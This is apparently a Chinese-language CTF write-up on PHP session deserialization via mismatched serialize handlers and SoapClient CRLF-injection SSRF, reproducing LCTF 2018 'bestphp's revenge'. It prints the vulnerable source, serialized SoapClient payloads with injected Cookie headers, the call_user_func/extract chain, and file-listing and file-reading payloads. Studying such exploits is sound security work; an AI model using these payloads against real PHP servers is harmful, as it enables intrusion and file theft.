当用户首次访问一个服务器,如果该服务器开启了Session(使用Seesion_start()函数开启),服务器将生成一个唯一PHPSESSID,同时创建一个以sess_PHPSESSID命名的文件用于存储会话信息。并在HTTP响应中通过 Set-cookie:PHPSESSID 将PHPSESSID发送给用户。当用户再次访问时Session_start()函数就不会再去分配一个新的PHPSESSID,而是在服务器中去寻找以sess_PHPSESSID命名的文件,将文件保存的序列化信息进行反序列化并读出。

导致session反序列化攻击的原因:

PHP内置了多种处理器用于存储$_SESSION数据时会对数据进行序列化和反序列化,常用的有以下三种,对应三种不同的处理格式:

当序列化和反序列化所使用的处理器不同,就可能产生反序列化漏洞。
默认处理器是php,可通过配置session.serialize_handler选项,来设置序列化及反序列化时使用的处理器。

ini_set('session.serialize_handler', 'php_serialize');

当序列化时使用php_serialize处理器,反序列化时使用php处理器将产生问题。
php_serialize处理器序列化

<?php
//使用php_serialize处理器序列化
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['test']='|O:4:"test":1:{s:1:"s";s:10:"helloworld";}';

php_serialize处理器序列化后的数据

a:1:{s:4:"test";s:42:"|O:4:"test":1:{s:1:"s";s:10:"helloworld";}";}

php处理器反序列化
将|前的字符串当键名|后的字符串当需要反序列化的字符串,反序列化后的数据:

array(1) {
  ["a:1:{s:4:"test";s:42:""]=>
  object(__PHP_Incomplete_Class)#1 (2) {
    ["__PHP_Incomplete_Class_Name"]=>
    string(4) "test"
    ["s"]=>
    string(10) "helloworld"
  }
}

SoapClient+crlf进行SSRF

SoapClient原生类介绍:
SoapClient采用HTTP作为底层通讯协议,XML作为数据传送的格式。

class SoapClient {
    /* Methods */
    public __construct(?string $wsdl, array $options = [])
    public __call(string $name, array $args): mixed
    public __doRequest(
        string $request,
        string $location,
        string $action,
        int $version,
        bool $oneWay = false
    ): ?string
    public __getCookies(): array
    public __getFunctions(): ?array
    public __getLastRequest(): ?string
    public __getLastRequestHeaders(): ?string
    public __getLastResponse(): ?string
    public __getLastResponseHeaders(): ?string
    public __getTypes(): ?array
    public __setCookie(string $name, ?string $value = null): void
    public __setLocation(?string $location = null): ?string
    public __setSoapHeaders(SoapHeader|array|null $headers = null): bool
    public __soapCall(
        string $name,
        array $args,
        ?array $options = null,
        SoapHeader|array|null $inputHeaders = null,
        array &$outputHeaders = null
    ): mixed
}

在新建一个SoapClient的类对象的时候,需要有两个参数,一个是字符串形式的wsdl,另一个是数组形式的options。

public __construct(?string $wsdl, array $options = [])
第一个参数是用来指明是否是wsdl模式,如果为`null`,那就是非wsdl模式。
第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location为目标服务器的URL,而uri 是SOAP服务的目标命名空间。

通常情况下我们会让目标服务器去反序列化我们构造好的SoapClient类,然后调用一个该类中不存在的方法,以此来执行SoapClient类的__call方法使目标服务器发送HTTP请求到我们构造SoapClient类时传入的location来完成ssrf。
[LCTF 2018]bestphp's revenge复现:
网站源码:

<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
    $_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>

可通过call_user_func()设置session.serialize_handler为php_serialize处理器。

call_user_func("session_start",array("serialize_handler","php_serialize"));

可通过$_SESSION['name'] = $_GET['name'];来控制需要反序列化的数据。

flag.php:
直接访问flag.php,提示需要本地访问, 可通过SoapClient进行ssrf

only localhost can get flag!session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
       $_SESSION['flag'] = $flag;
   }
only localhost can get flag!

SoapClient ssrf payload:

$soapClient = new SoapClient(null,array(
'location' => 'http://127.0.0.1/flag.php',
'user_agent' => "ua\r\nCookie:PHPSESSID=dr070uad9oc4j1encvf4dncn14\r\n", 'uri' => 'test'));
var_dump("|".urlencode(serialize($soapClient)));


先将构造好的序列化后的SoapClient通过php_serialize处理器存入服务器的sess_PHPSESSID文件中。当我们再次带上相同PHPSESSID直接访问时该网站时,服务器使用默认php处理器将该文件内容进行反序列化,赋值给$_SESSION。

接下来该去调用SoapClient类不存在的方法来触发__call方法,发送HTTP请求到http://127.0.0.1/flag.php该请求应该带上我们的PHPSESSID这样获取的flag就存入了我们的$_SESSION中。


这里f传入extract进行变量覆盖,name传入SoapClient ,post传入b=call_user_func,那么这样call_user_func($b, $a);就变成了call_user_func(‘call_user_func’,array(‘SoapClient’,’welcome_to_the_lctf2018’)) ,那么这里就变成了调用SoapClient类中不存在的welcome_to_the_lctf2018方法从而去触发_call方法发起soap请求进行ssrf。

最后带上PHPSESSID直接访问时该网站,获取$_SESSION。

利用原生类找文件与读文件。

<?php
    
// $a = new SoapClient(null,array('location' => 'http://127.0.0.1/flag.php?a=GlobIterator&b=/f*', 'user_agent' => "111\r\nCookie: PHPSESSID=c9urdtg4kjp5jl36mrl44qlsah", 'uri' => 'test'));

$a = new SoapClient(null,array('location' => 'http://127.0.0.1/flag.php?a=SplFileObject&b=/f1111llllllaagg', 'user_agent' => "111\r\nCookie: PHPSESSID=c9urdtg4kjp5jl36mrl44qlsah", 'uri' => 'test'));
$b = serialize($a);
echo '|'.urlencode($b);